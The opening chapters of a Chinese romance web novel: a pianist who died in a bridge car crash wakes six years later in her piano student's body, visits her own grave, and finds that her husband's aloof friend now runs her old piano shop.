《兄弟老婆死后的第六年》
1. 第 1 章
2025年10月16日
晋江文学城/徐九昭
——
室内空调温度极低,白色窗纱被凉风吹得轻摇慢晃。
床上,女孩从头到脚被厚实毛毯裹得密不透风,冷汗细细密密往外渗。
她双眼紧闭,眉头紧锁,双手死死攥住身侧床单,白皙手背上青色筋脉清晰可见。
不安攀升至顶点,“救命!”
她口中惊呼,猛地坐起。
阮诺全身湿透像是刚从水底爬出,大口大口喘息,瞳孔缓慢聚焦,待看清眼前景象后,手掌蓦地深深嵌进毛毯里。
眼前的景象让她感到茫然,这间并不是她的卧室,也不是她认识的任何人的卧室。
她左手用力拧住右边胳膊,痛感传来,不是做梦。
可她刚才分明经历了一场灭顶的车祸。
她的车行驶至宜春江大桥时被一辆卡车撞上,连人带车坠入江底。
她泡在江底无助地敲砸车门都无法脱身,刺骨的江水一点点掩住她的口鼻,吞噬她的意识。
就在她脑中放映她短短24年人生重要片段时,她的车门被人砸开,她猛地睁开眼便看见了现在这幅陌生场景。
阮诺一时竟不知究竟现在是在做梦,还是那场车祸才是梦境。
她掀开毛毯下床,双脚才触地便膝盖一软再次跌坐回床上。
缓了片刻,她撑着床沿,小心翼翼再次起身。
阮诺慢慢在房间里踱步,试图从这个陌生的地方找出是梦境的破绽。
路过梳妆台时,她再也支撑不住,在梳妆凳上坐下。
抬眼间就看见镜子里苍白的一张脸,女孩五官精致柔和,毫无攻击性的漂亮,浓淡相宜,让人很舒服的长相。
可这张脸不属于她。
她难以置信揉搓自己的脸,惊恐地望着镜子里陌生面庞扭曲变形。
心脏扑通扑通狂跳,阮诺本能躲避镜中人,身体不断向后腾挪。
“嘭!”
她跌翻在地,随即不属于她的陌生记忆源源不断漫进脑海。
阮诺终于确定,她重生了,只是重生进了另一幅躯壳里。
而这具身体的主人竟是她今早开车准备去见的人,那个要和她学钢琴的高二学生——阮霜见。
阮诺是国立音乐学院钢琴表演专业研二学生。
前不久刚放暑假,她从京市回到上虞,父亲的好友便找到她,希望她可以帮忙带他朋友家的孩子练钢琴。
阮诺今天上午开车去琴行见霜见,可谁知在路上遭遇了那场车祸。
如果说她的车祸是一场意外,那么霜见在来见自己的路上也遭遇了一起交通事故,就有些巧合得令人后怕了。
今天上午,霜见乘坐的出租车被路口突然蹿出的一辆机车撞上,司机急转方向,出租车撞上道边的绿化带。
霜见身体因为碰撞多处受伤,最终脑袋磕在车窗上陷入昏迷。
这是阮诺关于霜见的最近也是最后的记忆。
霜见虽然受伤,但车祸不算严重,应该不至于死亡,那她是怎么重生进了她的身体里的?
阮诺大脑一片混乱,她迫使自己冷静下来,缓缓从地上爬起,环视一圈,找到床头柜上原主的手机。
她走过去点亮屏幕,还没来得及解锁,入目的日期再度让她无法自控地陷入混乱。
“2023年5月2日”,竟然已经不是2017年7月4日了。
她手指轻颤努力回忆原主惯用的手机密码,可手机才靠近她的脸,竟自动解锁了。
她疯狂点开手机多个app,所有日期,无一例外全是“2023年5月2日”。
她竟然穿越了,穿到了六年后。
也就是说原主在那场车祸后又继续生活了六年,可这六年她既没有自己的记忆,也没有原主的记忆。
阮诺不可自制颤抖,面对空白的六年,和全新的身份,她浑浑不知接下去该怎么办。
房门把手被人轻轻拧动,轻微窸窣声响让阮诺浑身汗毛瞬间竖起。
她双眸定在那处,只见一张老太太的脸出现在细窄的门缝处。
老太太齐肩发,发根花白,发顶却是死寂沉沉的黑,显然头发染了有段时间了。
银色发箍将头发死死锁在脑后,额前光溜溜一片,只留下道道沟壑。
阮诺心中警铃大作,原主的记忆告诉她,这人是原主的外婆,陈芳妹。
她摒弃脑中所有杂乱念想,只反复提醒自己,她现在已不再是阮诺。
从今以后,她就是阮霜见。
电光火石间,霜见揪出记忆里原主与陈芳妹相处片段,好在原主和她性格相似,顺其自然应该不会惹人怀疑。
毕竟也不会有人会怀疑人的灵魂还能易主。
陈芳妹见她醒了,猛地推开房门,房门迅速被墙上门吸吸住。
她被房间凉气扑得一个激灵,喷嚏一个接一个。
“冻死个人了,没烧死想冻死还是怎么着,才五月就开空调,还开这么低,就你这样的,早些时候非得把你抓去隔离不可。”
她边说边关掉墙上空调开关,几步来到霜见跟前,干枯的手背探上霜见额头,“烧退了吗?”
霜见木讷望着陈芳妹,没有回应。
“问你话呢?还发不发烧?”陈芳妹扯着嗓子重复一遍。
霜见回神,下意识点头。
她之前还在好奇原主六年前并未去世,自己是怎么占了她的身体。
现在有了答案,看来原主是现在发烧离开了。
老天想夺走一个人的命还真是简单,一场高烧足矣。
老太太斜了她一眼,嘴里嘀嘀咕咕:“真是不省心,我一个老不死的迟早要被你给气死。”
她利索走到床头柜边拿起温度计,二话不说掀起霜见胳膊,将温度计塞进她腋下。
“量一下,没事儿就出来吃早饭。”
霜见出来时陈芳妹正在阳台上晾衣服。
她抖开已经用洗衣机甩到半干的衣服,扬声询问,“多少度?”
霜见扬了扬手中温度计,“36度8。”
“早饭在桌上,赶紧吃。”
霜见不动声色扫视一圈,找到餐桌位置,过去坐下。
她吃着早饭打量起陌生的家。
原木风的装修风格很温馨,三室两厅的格局,她住的那间应该是主卧,带卫浴和衣帽间。
客厅没有电视机,电视墙那一面放了一架黑色的立式钢琴,是原主8岁时就买了的,看上去色泽暗淡,很是陈旧。
霜见收回视线,三两下把最后一个包子塞进嘴里,探头看了眼阳台,陈芳妹还在阳台上。
她现在的情况跟睁眼瞎差不多,没时间一直沉浸在对新身份不适应的惶恐中。
必须尽快消化所有情绪,搞清楚所有状况。
阳台上挨挨挤挤放置了一排白色泡沫箱,里面种了不少蔬菜,陈芳妹正弯腰浇菜。
霜见走过去接过陈芳妹手里的水壶,“我来吧。”
陈芳妹一把夺回水壶,“你来什么来,别把我菜浇死了,这西红柿都这么大个了。”
霜见尴尬收回手,
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蹲下身揪起泡沫箱里的小嫩草,很生硬地叫了声:“外婆。”
不自在地清了清嗓子,“我昨晚做噩梦了。”
她打量了眼陈芳妹神色继续道:“我梦到六年前那场车祸了,不仅梦到我自己的车祸,还梦到了要教我钢琴的那个姐姐的车祸,外婆,你还记得那场车祸吗?”
“废话,你可是住了十多天院,脑袋缝了针,小腿还骨裂了,提起来我就气,那骑摩托车的小子眼睛长腚上了,看见车还往上撞。”
“那,你知道那个要教我钢琴的姐姐怎么样了吗?”
陈芳妹放下水壶,老脸皱成一团,“你到底在说梦还是说真的?那姑娘也出车祸了?”
她说着,把手上的水在裤子上蹭干,又摸上霜见脑袋,“你是不是没退烧分不清自己是醒的还是做梦?这都过去多少年了,突然问我这些干什么?”
霜见迅速站起身后退一步,“没有,我退烧了,那个,外婆,我还有事,先出去一趟。”
原主应该是没和陈芳妹提过自己的那场车祸,再问也无用。
她转身往外走,陈芳妹急得冲她喊:“你去哪?还没好清又开始作。”
“我真的好了,一会儿就回来。”
-
霜见知道自己生的概率不大,但万一呢,她似乎感受到有人撬开她的车窗。
万一很快被救援,及时被抢救,会不会自己的身体也还活着,她只是和原主交换了灵魂。
应是下了一夜的雨,空气里裹挟着湿气,地面上水迹斑驳,泥土的气息夹杂着花香直往鼻腔里钻。
霜见深吸一口气,终于有了爬出江底,摆脱窒息的真实感。
她拿出手机先给原来的自己拨了通电话,熟悉音乐响起,是孙燕姿的《我怀念的》。
她心猛烈跳动起来,直到手机自动挂断,也没人接听,她咬唇提气,又拨了出去,仍然无人接通。
或许在忙?
她没再犹豫,大步出了小区,在大门外拦了辆出租车,上车她熟稔地报了串地址,十分钟车程,很快车子停下。
好在原主的付款密码和六年前一样,她顺利付完款下车。
霜见抬手遮光,仰头望向她亲手写的琴行招牌,白底黑字“知音琴行”。
这是她本科毕业那年开的琴行,从装修到运营全部亲力亲为,这里是她那两年的全部心血。
看见琴行居然还在,心脏再次不受控地乱了节拍,她的猜想或许是真的,不然六年了,琴行怎么还在?
她忐忑推开玻璃门,店内装修和当初一般无二,很干净清爽的风格。
灯光明亮,角落里砌了个弧形花池,瓷白的大理石包裹着葱绿茂盛的天堂鸟,在一众黑白色中挑出一抹浓烈的绿,让人心情舒畅。
她环顾一圈没看见人,视线落在靠近自己的一架三角钢琴上,纯黑的钢琴泛着熠熠的光。
钢琴面板上贴着一个金色金属logo“NM”,是她没见过的钢琴品牌,六年时间出现新的品牌不足为奇。
她指尖落在琴键上,随手试了试音,意外地停顿数秒后,又弹了几个跨度极大的和弦音,动态范围很大但完全没有炸,高音不劈低音不散,平衡度做得很好。
她转身还想再看看,却猛地撞进一个坚实的胸膛,随之一股沁人心脾的薄荷味扑面而来。
薄荷气味...难道是?
她倏地抬头,男人脖子后仰,她只看得见他流畅的下颌线,以及避嫌般半举起,摊在身侧的双手。
“这位小姐,还请自重。”男人的声音从头顶传来,口吻戏谑。
2. 第 2 章
霜见一怔,慌忙后退两步,“对不起。”
拉开距离,她终于看清男人面容,果然,身上满是薄荷味的只能是他,她老公楚川的好友穆砚钦。
穆砚钦穿了件纯黑T恤,下身黑色工装裤,一身的黑衬得皮肤极白,细碎的刘海落在额前独独露出那双黑得发亮的丹凤眼。
他双手插兜,下巴依旧微扬,正垂眼看她。
他都三十岁了吧,岁月看来没有磨平他什么,只是他怎么会在她的琴行?
穆砚钦眉心蹙起,有些不耐烦问她:“买琴?”
霜见点头,又摇头,“我找人。”
穆砚钦嘴巴里发出清脆的咔嚓声,是薄荷糖,别人从口袋里掏烟,他掏出来的永远是薄荷糖。
他咀嚼着嘴里的糖,拽里拽气,“这里是琴行,不是派出所。”
霜见赔笑:“您是帮朋友看的店吗?”
这是她能想到穆砚钦出现在这的唯一原因。
她和穆砚钦是高中校友,两人一直认识,但真正熟悉起来,还是在她和楚川在一起后。
穆砚钦作为楚川的同班同学兼好友,她每次去找楚川,几乎都能碰到穆砚钦。
他们虽然熟悉,但这层熟悉是基于楚川这根纽带之上的,单纯以她和穆砚钦的关系而言,他还不至于会接手她的琴行。
况且如果真的是原主占据了自己的身体,那么琴行应该也不会转让。
霜见肌肤奶白,笑起来眼睛弯如月牙,和阮诺一样,她也有一对浅浅的梨涡。
穆砚钦眸光在她梨涡上逗留一瞬,“跟你有关系?”
霜见面上笑意不减,硬着头皮道:“我就问问。”
穆砚钦嗤笑了声,转身往柜台方向走,“你舅妈没问?”
他声音懒散,步伐干脆,骨子里的傲慢从头发丝里溢了出来。
霜见跟上前的脚步顿住,关她舅妈什么事?她没听懂,“你什么意思?”
穆砚钦没理她,径直走进柜台。
柜台当初被她做得很高,上面一排姿势各异的小新手办排排站。
霜见走过去,拿起一个小新在手里把玩,踮起脚尖趴在柜台上。
穆砚钦散漫靠进椅背里,两条笔直修长的腿交叠搭在侧柜上,垂眼玩游戏,姿态闲适。
手机里是霜见没听过的音乐,但节奏强劲,一定是在玩节奏大师,六年了,还是这点爱好。
穆砚钦终于掀开眼皮看向她。
霜见视线却落在他左眼下眼睑,靠近眼尾的那颗“泪痣”上。
这颗红褐色的“痣”衬得他双眸有点邪气。
霜见正出神,一道冷漠声音打断她跑远的思绪。
“放下。”
霜见一愣,顺着穆砚钦的视线,看向自己手里穿着睡衣的小新。
“哦。”
她缓缓放下手办,心里委屈极了,这一排的小新都是当初她买的,可现在却连碰都碰不得。
她吐出一口气,消解掉这一刹的失落,生硬扯出一丝笑容。
“我能冒昧问一下,我记得这家琴行的老板是个叫阮诺的姐姐。”她顿了顿,“请问,她现在......还好吗?”
穆砚钦淹没在霜见投下来的阴影里,闻言,桀骜眉眼霎时暗淡,丝丝缕缕的薄荷味飘散在空气中,让人闻不真切。
手机里律动感很强的音乐还在继续,他的手指却僵硬悬停,狭眸幽深凝住霜见。
“找她的?”
霜见一听,心中暗喜,看来自己的身体真的还活着。
“出门左转有个公交站台,知道吗?”
霜见自然知道,那个站台六年前就在,她忙点头。
“去等125路公交。”
“125路公交,然后呢?”
“然后?然后在万福园站下,C区12排06号,慢走,不送。”
霜见的笑意凝固,脸色瞬间惨白。
万福园是墓园......
她终究还是死了。
霜见死死咬住下唇,心脏失重般猛地下坠,她眼神空洞发直,面如白纸。
手指紧紧抠住柜面,支起虚晃的身体。
她本想着只要她和原主的身体都还活着,想想办法或许可以再交换回来,现在所有的希望被穆砚钦的话冲为泡影。
穆砚钦原本只当霜见是个曾经来买过钢琴的普通客户。
可她反应过于反常,不免又多看了她一眼。
“你和她是什么...”
“关系”两个字还未出口,霜见却已经转身。
她太了解穆砚钦这人有多难说话,再追问下去已无意义。
反正琴行不会是他的,否则以他这种恶劣的服务态度,琴行早就倒闭了。
穆砚钦看着霜见消失的背影轻嗤了声,“神经。”
待他手机里一首音乐结束,他抬头看向门外,恰巧,一辆125路公交从门前驶过,刚刚那个莫名其妙的女人居然真的坐在车上。
-
霜见靠窗而坐,一瞬不瞬望着窗外一闪而过的街景。
道路两旁好几家店铺都换了门面,她曾很爱吃的一家火锅店现在居然成了培训机构。
路边还有人拿着话筒做街采,她灵光乍现,忙拿出手机。
手机才靠近脸就自动解锁,霜见这次终于弄明白,人脸识别技术已经普及。
她试图搜索当年她坠江的新闻。
可能时间过去太久,也可能每天的车祸数以万计,她的坠江实在算不得什么新闻,竟然找不到只言片语。
她索性翻起了原主的各个社交平台,现代社会,一部手机足以了解一个人。
...
原主是个很优秀的姑娘,大学考上了茱莉亚音乐学院,世界顶级音乐院校。
毕业后,她回国和两个高中同学合开了一家音乐教室,圈子简单干净。
霜见长叹一声,这么好的一个姑娘就这样离开了,她今年才23岁,比出事时的自己还小一岁。
她不知道自己怎么会占了原主的身体,如果可以选,她宁愿彻底离开。
命运使然,她能替原主做的就是帮她照顾好那个把她从小带大的外婆。
“宜春江大桥南站到了......”公交到站播报。
长时间看手机让霜见头晕恶心,她也不想去看这座让她有心理阴影的大桥。
霜见收起手机,闭眼小憩。
“嘭!”
突然侧后方一辆卡车冲了过来,她的车被大力顶到大桥边缘。
大桥金属护栏断裂,车头悬空在外上下起伏晃动,她被吓得魂不附体。
尚存的理智让她放轻呼吸,动作静止。
下一秒,侧后方的大力再度袭来,她和车瞬间消失在大桥上,落入江底。
恐惧、绝望、窒息......
她无法呼吸,身体发沉,浑身疼痛难忍,江水刺骨冰冷,水和血混在一起遮住双眼,掩住口鼻。
惊慌无力感席卷而来,死神向她招手,她猛地睁开双眼。
“万福园站到了,请您带好随身物品后门下车......”
霜见恍惚看向周围景象,衣服早已被冷汗浸湿,公交车内冷气很足,她冻得浑身发颤,缓步移到车后门下了车。
暖意扑面而来,冰冷的身体逐渐回温,大脑也变得清明。
她的直觉告诉她,她的那场车祸不是意外。
否则,卡车不会二次撞上她的车,虽然两次间隔很短,外人或许不易察觉,但是作为当事人的她是清楚感知到两次撞击。
只是她这人素来不与人结怨,实在不知谁会要置她于死地。
她看着马路对面黑色大理石墙体上的“万福园墓山”几个大字,缓了缓神,暂时抛开毫无头绪的杂念过了马路。
墓园外有一个巨大的焚烧池,文明祭祖,墓园内不允许焚烧任何物品。
焚烧池内正烧得热闹,红红绿绿的花圈在烈火下一点点燃成灰烬。
黄色纸钱被风卷着在空中飞舞,浓烟黑灰弥漫在空中,呼吸间全是亲人离世的味道。
她回忆起穆砚钦报的位置,在墓山的最高处找到了自己的坟墓。
黑色墓碑上贴的照片是她前不久报名国际钢琴大师赛的证件照,照片里的她笑
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得灿烂。
那时的她万没有想到这张照片最后没能把她送上赛场,反而陪她进了坟墓。
照片下方是金色字体的“爱妻阮诺之墓”六个刺目字眼。
霜见怔怔凝着墓碑,轰然跌坐在地。
她被埋进了泥土里,丢在了六年前,所有已成定局。
这一刻她真正意识到她不再是阮诺,她曾经所拥有的一切再与她无关。
她泪眼模糊看着墓碑左下角楚川的名字,这是立碑人的位置。
她的父亲和楚川父亲是大学同窗,自她有记忆起身边就有了楚川。
他们高三恋爱,研一领证结婚,新婚一年,谁知一场车祸让一切戛然而止。
墓碑前摆放着一个长方形的白瓷花盆,里面种着她最爱的落日珊瑚,此刻落日珊瑚已经是落日迹象,花瓣颜色浅淡即将落败,和她短暂的人生一样。
这花一定是楚川为她准备的,她缓缓抬手轻抚花瓣,
忽而,一阵悦耳的钢琴声传来,西郊偏远,墓园附近更是无人居住,更别提什么琴行之类了,琴声来的怪异,她却听得认真。
一首乐曲结束,她回神,视线定在楚川名字上良久。
既然他们都在前行,那她就去追。
…
等真的站在与楚川曾经的婚房外,她倏然冷静下来。
于她而言她和楚川分开还不足一天,可于楚川,已经是六年,楚川说不定已经有了新的生活。
她没有立场也没有理由这么贸然出现,况且她现在于他只是个陌生人。
霜见感觉周围空气稀薄,心中窒闷,停在过去的人只有她,别人都在往前走,她根本不知道他们已经走到哪了。
正出神间,邻居家的门突然打开。
邻居母女出现在视线中。
邻居家的阿姨看见她站在楚川家门外,好奇问她:“你找谁?”
眼下搞不清楚状况,霜见不敢说自己是来找楚川的,怕给他带来困扰。
她后退一步,后背贴在门上,朝邻居阿姨笑了笑。
邻居阿姨见她这样,一脸狐疑:“你不会是来找小楚的吧?他早就不在这住啦,搬出去都有五年了。”
“搬出去了?”
“对啊,你不会不知道吧,六年前小楚他老婆去世了。”她惋惜哀叹了声。
“小楚住在这触景伤情,被父母劝着搬出去了,年纪轻轻老婆没了,他也跟着没了精气神,可怜的哟,看他那样我都心疼,更别提他爸妈了。”
霜见鼻子酸涩,眼眶泛红。
她离开,楚川难过是一定的,只是不知道他现在怎么样了。
邻居阿姨旁边的年轻小姑娘是她女儿,六年前在上高中,现在跟霜见差不多年纪。
她附和道:“楚川哥这样的男人现在可真是少有,我要能找到个这么专一的老公就好了。”
邻居阿姨听她这话没好气嗔了她眼,“你真是话多。”
这时电梯来了,那姑娘讪笑着拉她妈妈往电梯里走。
阿姨扭头对霜见道:“姑娘,他家没人,都搬出去有五年了,你找人就打电话吧。”
电梯门关上,霜见缓缓滑坐在地,脑子里乱哄哄一片。
楚川现在怎么样了?会有女朋友吗?还是已经再婚了?
似乎再婚也很正常,他还那么年轻,可是于她而言还是有点残忍,早上出门两人还拥抱亲吻,现在却......
她不知自己坐了多久,突然一声炸雷响起,窗外忽明忽暗,闪电划破天际。
要下雨了,霜见如梦初醒,撑地爬起,匆匆往外走。
这会已经是下班时间,路上出租车全是满客状态,网约车也没人接单。
咔嚓一声巨响,旋即大雨倾盆而下,霜见躲进小区旁的一家便利店里。
她从醒来到现在就早晨吃了点东西,这会肚子咕咕直叫。
霜见从货架上拿了个三明治和一杯牛奶到落地窗前坐下。
才吃没两口,就看见对面点心店里出来道颀长身影,竟是穆砚钦。
他怎么不是在她的琴行,就是在她家附近,这也太巧了吧。
3. 第 3 章
霜见忙收起食物,提起包出了便利店。
穆砚钦拎着一大包点心,站在店外的绿色遮阳篷下,他似乎没料到会突然下雨,霜见出现在他身边时,他以为是和他一样躲雨的人,并未多看。
“好巧啊,我们一天见了两次。”
霜见再次看见这张熟悉的脸,有种回到过去的错觉。
穆砚钦转头,将视线从雨中抽回落在身边人的身上,只一瞬又缓缓转回去,没有理睬她。
“你也没带伞吗?”
“嗯。”不想搭理,但还是勉强应了一声。
“这家店的绿豆糕很好吃,快端午了是可以买一点。”
这会雨势渐小,霜见话音才落,穆砚钦已经抬脚步入雨中,
霜见想都没想追着他就冲了出去。
“你开车了吧,能载我一程吗?随便到个地铁站把我放下就行。”
穆砚钦锦衣玉食大少爷,是不会挤公交地铁的,她过来就是想厚着脸皮蹭车。
当然,她也是有心想接近他,他和楚川多年好友,或许通过他能再遇楚川。
穆砚钦在听到霜见的话后,拉车门的手顿住,回头看向霜见。
雨中的她瘦削伶仃,她双手抱头,像是在努力和风角力,很明显,风更胜一筹,她被吹得摇摇欲坠。
霜见眼睛被雨水淹得半眯,头发被风吹得扬起,却又因为潮湿有几绺顽固地粘在她面颊上。
穆砚钦看她这样,莫名烦躁,“我们很熟吗?”
怎么就缠上他了?
“不熟。”她撇撇嘴,“但我实在打不到车,想请你帮个忙可以吗?下次有机会我请你吃饭。”
“烦死了。”穆砚钦拉开车门上了车。
霜见了解他,这是答应载她的意思,她欣喜绕到车的另一边上了副驾。
坐好后,她怕弄脏穆砚钦的车遭嫌弃,从包里抽出几张纸巾一点点擦着身上的水,擦完小心翼翼将废纸攥成一团塞回包里,拉过安全带系上。
穆砚钦瞥了她一眼,还算识趣。
“糯糯。”他突然开口。
霜见下意识应声:“嗯。”
不待她察觉自己应错声,一个白花花毛茸茸的东西蓦地出现在两人中间。
霜见被这突然出现的东西吓得惊呼一声,猛地往旁躲,后背重重撞在车门上。
穆砚钦无语扫了她一眼,霜见尴尬揉着后背,定睛看向始作俑者,居然是只萨摩。
她尴尬解释:“我没看见后座还有只狗。”
确定是狗,她也不再怕,凑近它,抬手揉了揉萨摩耶的脑袋。
“我很喜欢萨摩,一直想养一只,但是家里人不让。”
阮诺喜欢狗是真的,没结婚时想养妈妈不让,结婚后想养,楚川说两人都忙没时间遛狗,不在家又怕狗会拆家,所以她一直没机会养只属于自己的狗。
穆砚钦没接她话,对吐着舌头的白色犬道:“坐好了。”
“哦。”霜见应声调整好坐姿,那狗也缩回后排。
“把四只脚都放在座椅上。”
霜见还想照做时,才反应过来她哪有四只脚,后知后觉穆砚钦原来一直在跟狗说话。
她脸瞬间红透,感觉自己像个傻子,估计刚刚也是自己听错了,他喊的并不是“诺诺”。
她刚想问这只萨摩叫什么名字,穆砚钦已经发动车子,她只得把到嘴边的话改成:“随便一个地铁站就好。”
“都上车了就别随便了,去哪?”
霜见诧异,怎么突然这么好了,她唇角微扬,“花语庭府,谢谢你。”
天色暗沉,路灯还未亮,只有一晃而过的车灯让车厢内时明时暗,熟悉的故人就在身边,霜见的心渐渐安定下来。
车内安静,只有后排萨摩时不时传来的鼾声,和穆砚钦口中薄荷糖被咬碎的声响。
穆砚钦和楚川高中同班,大学又都报考了京市航天航空大学,不过楚川念的是飞行技术专业,而穆砚钦上的是飞行器设计与工程专业。
两人关系一直不错,霜见想再次见到楚川,目前唯一的方法就是通过穆砚钦。
眼看就快到花语庭府,她不想错过这次机会。
“你好,我们可以认识一下么?我叫阮霜见。”
她说着从包里捞出手机点开微信,“能加个好友么?今天特别感谢你,你什么时候有时间,我请你吃饭。”
穆砚钦略一偏头随意扫了她一眼,“我不吃这套。”
霜见愕然,想到他曾经冷脸拒绝别人的搭讪,不由尴尬解释:“我不是你想的那个意思,是真的想感谢你。”
车在花语庭府大门前停下,穆砚钦从车门置物格里摸出手机,快速点了两下,将二维码朝霜见递了过去。
霜见面上笑意渐浓,忙点开微信,对着二维码扫了一下,扫码成功。
只是下一瞬,笑意凝固。
她又看了眼穆砚钦手机上的二维码,迟疑道:“你是不是点错码了?你这是收款码。”
“嗯,没有点错,不用请吃饭那么麻烦,50块钱,付完下车。”
霜见愣了数秒,窘迫不已。
她怎么忘了这可是穆砚钦,以前自己和楚川有矛盾,他都能当着自己的面劝楚川和自己分手、离婚。
现在愿意送陌生的她回家,已经算是爱心大爆发了。
她忙低头输入金额和密码,霜见一着急就惯性连输了几次自己曾经的付款密码,连续输错密码付款界面锁住。
穆砚钦很不耐烦,“行不行啊?还说请吃饭,付个车费都这么费劲。”
霜见匆匆收起手机,低头去翻找包,“抱歉,我微信余额不足,我给现金。”
她对包里东西并不熟悉,找了好一会,才从卡包里抽出一张折成食指粗细的毛爷爷。
她把一百元钞票展开,放在手心压了又压,看上去不那么褶皱才递给穆砚钦。
穆砚钦沉默看着她,眼尾的“泪痣”十分扎眼,霜见不敢看他的那颗“痣”,把钱放在中央扶手上。
“多的不用找了,请你吃糖。”说完急忙推开车门下了车。
雨又大了起来,她从小区门口跑回家,已然成了只落汤鸡。
陈芳妹正在自己房间看电视,听见开门动静,从次卧冲了出来。
一见她像是从水里捞出来的,就是劈头盖脸一顿骂。
陈芳妹脚步匆匆进了主卧,没一会儿拿着个浴巾出来砸到霜见身上,“你有本事去折腾你妈呀,尽折腾我这个老太婆。”
霜见裹着浴巾和陈芳妹道歉,“我再也不会了。”
“你说话就跟放屁差不多,不对,还不如放屁,放屁还响一下臭一会呢。赶紧先去冲个澡换身干净衣服,我去热菜。一早晨发巅往外跑,这都几点了才回来......”
老太太骂骂咧咧进了厨房,随即骂声淹没在油烟机的嗡鸣声中。
霜见浑身疲乏,浴室的热气蒸得她大脑昏胀。
她低头搓了半天左侧锁骨往下三寸处的脏污,直到皮肤泛红痛感传来,她才反应过来这具身体已经不是她的了。
那处“脏污”是原主的胎记,那胎记形似云朵,有两个拇指指甲盖大小,这会红色愈发鲜艳。
“云朵胎记。”她口中默念,觉得耳熟。
这时浴室门被人敲响,霜见思绪被打断。
陈芳妹中气十足的声音传来,“快点,出来吃饭了。”
“知道了,”顿了顿又加了句:“外婆。”
“外婆”这个称呼很陌生,她自己的外婆在她十岁时就去世了,家里唯一的老人就是外公。
她外公曾经是上虞市教育局局长,一辈子威严肃然,但却很爱她,在她面前就是个和蔼的老人家。
霜见一边穿衣服一边盘算着明天要想办法去见见家人,不仅外公,还有父母妹妹。
可惜,吃饭时陈芳妹严令禁止霜见再出门,不管什么事两天后再说。
于是,霜见暂时便见不了亲人。
她犹豫再三还是放弃主动联系他们,她了解她的家人。
他们都是很警惕的人,一个陌生人的来电只会让他们心生戒备。
即使他们接通了她的电话,或者通过了她的好友申请,接下去她又要找什么借口继续聊下去。
不管怎么说,她现在确实是独立在他们那个社交圈之外的,一切还是要先见面,再慢慢重新建立关系。
贸然联系,她并没有什么好的借口,总不能说她是阮诺,只会被人当成疯子。
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霜见在家休息了两日,期间不少家长打电话来询问上课时间。
第三日一早她便去上班了。
她不知道霜见的课程是怎么安排的,早点去好见机行事。
霜见工作的地方叫聆听音乐教室,朋友圈里原主发过照片和定位,很顺利找到地方。
音乐教室大厅宽敞,一架三角钢琴立在大厅中央,将整个大厅一分为二。
墙上用一个原木色巨型相框做了一个公示栏,上面是聆听三位老师的各种证书。
除了这些还有三位老师具体收费标准。
霜见是一对一授课,不带启蒙,只带有一定基础的学生,她一节课980元,是三人中单价最贵的,当然,她的履历也最漂亮。
有了初步了解,她又挨个教室看了一圈,很惊奇地发现聆听的所有钢琴都是“NM”这个品牌,和她前两天在知音看到的是同一品牌。
她通过私人物品和教案很快确认属于她的教室。
原主很细心,教案详细记录了每个孩子的上课时间、进度以及薄弱点,有了这些她彻底放心。
霜见带的学生都是小学生和初高中生,周中都是放学后才有时间来上课,她的课要在下午四点钟才开始。
了解清楚,霜见又研究起眼前的“NM”钢琴。
她弹了一曲,意外发现这个品牌的钢琴各方面都出乎意料的好,不输她之前接触过的大品牌。
琴音刚落,她的教室门被人推开。
一个扎着高马尾的女生往里张望,是音乐教室合伙人之一,原主的高中同学骆天骄。
她看见霜见,忙捂住口鼻后退一步,“你测过没,是不是阳了?可别传染我影响我挣钱噢。”
霜见这两天闲来无事,网上冲浪也知道了疫情,心中不免唏嘘。
“放心,我好了,烧都退了三天了。”
“那就好。”确认霜见康复,骆天骄走进教室,“你怎么这么早来了?”
骆天骄专带钢琴启蒙班,早上就有课。
“来拿点东西,马上走。”
现在九点,她没必要等到下午,准备一会再去一趟知音看能不能遇到家里人。
她看了眼面前的钢琴,扭头问骆天骄:“天骄,你还记得当初我们买这些钢琴花了多少钱吗?”
“难觅吗?”
“NM”原来叫“难觅”。
“具体不记得了,立式的大概三万五左右吧,你不应该比我清楚么,都是你当时去知音买回来的。”
霜见闻言有些惊讶,聆听的钢琴竟是从知音买的。
“我也记不清了,钱的方面我觉得你记的比我清楚。”
骆天骄财迷属性,凡是和钱相关她都特别精明。
霜见手指在钢琴键上轻轻跳跃,状似随意感慨:“不过话说回来,这钢琴质量确实不错。”
“性价比肯定没的说,不然也不会让知音短短几年开遍全国。”
霜见怔住,她激动抓住骆天骄手腕,“你说什么?知音开遍全国?”
“不是,你脑子没烧坏吧,这些你不比我清楚么?”
霜见意识到自己失态,松开骆天骄,讪笑两声:“天骄,我还有事先走了,下午回来上课。”
上了出租车她上网一搜,果然,知音如今全国各地都有门店,只上虞就有六家。
琴行如今到底是谁在经营?
来到知音,这次接待她的不是穆砚钦,而是她当初招的员工邢嘉倩,霜见暗暗松了口气,看来那天穆砚钦的确是来帮忙看店的。
在邢嘉倩的介绍下,她一一看了琴行里的所有钢琴。
令她意外的是琴行如今只卖难觅这一个品牌。
霜见看向琴行一侧的两扇门问:“以前知音琴行有免费的练琴室,现在还有吗?”
邢嘉倩笑容得体,“有的,两间练琴室都可以使用。”
霜见试探着又问:“请问一下,你们老板是姓楚吗?”
邢嘉倩面露狐疑,还不待她回答,琴行门被人推开。
霜见和邢嘉倩同时回头,只见一人一狗缓步入内。
邢嘉倩很恭敬叫了声:“穆总,您来了。”
她扭头看向霜见:“这位就是我们的老板,他姓穆。”
4. 第 4 章
霜见不可置信盯着穆砚钦,她不知道这六年时间发生了什么,她的琴行居然成了他的。
穆砚钦酷爱飞机,他和其他男孩长大后想开飞机不同。
他的梦想是设计制造飞机,报考京航是他的第一志愿也是唯一志愿,没给自己留过退路。
就连楚川报考京航也是受穆砚钦影响。
明明在她出车祸前不久,穆砚钦才从MIT硕士毕业,收到了梦寐以求东飞集团的offer,即将入职。
不过六年时间,他竟成了知音的老板,还迅速扩张门店,让全国一二线城市都有了知音的身影。
事情过于魔幻。
霜见能想到的穆砚钦和钢琴的唯一关联就是,他的母亲秦书棋是国内著名钢琴演奏家。
秦书棋和楚川妈妈认识,阮诺初一那年暑假,秦书棋怀二胎在家待产,阮诺在楚川妈妈的的引荐下,有幸和秦书棋学过两个月的钢琴。
穆砚钦是会弹琴的,她曾听他弹过,相较于她的家人对钢琴一窍不通,穆砚钦无疑是更专业的,况且他的背后还有秦书棋。
如此一想,楚川将知音交由穆砚钦经营似乎也合理。
既然知音有很多家门店,那么勤业路这家店是不是于穆砚钦而言并不重要?
霜见低头垂眸,心思翻飞,就连穆砚钦走到她跟前都没发现。
穆砚钦抬手在霜见眼前打了个响指,“嘿!”
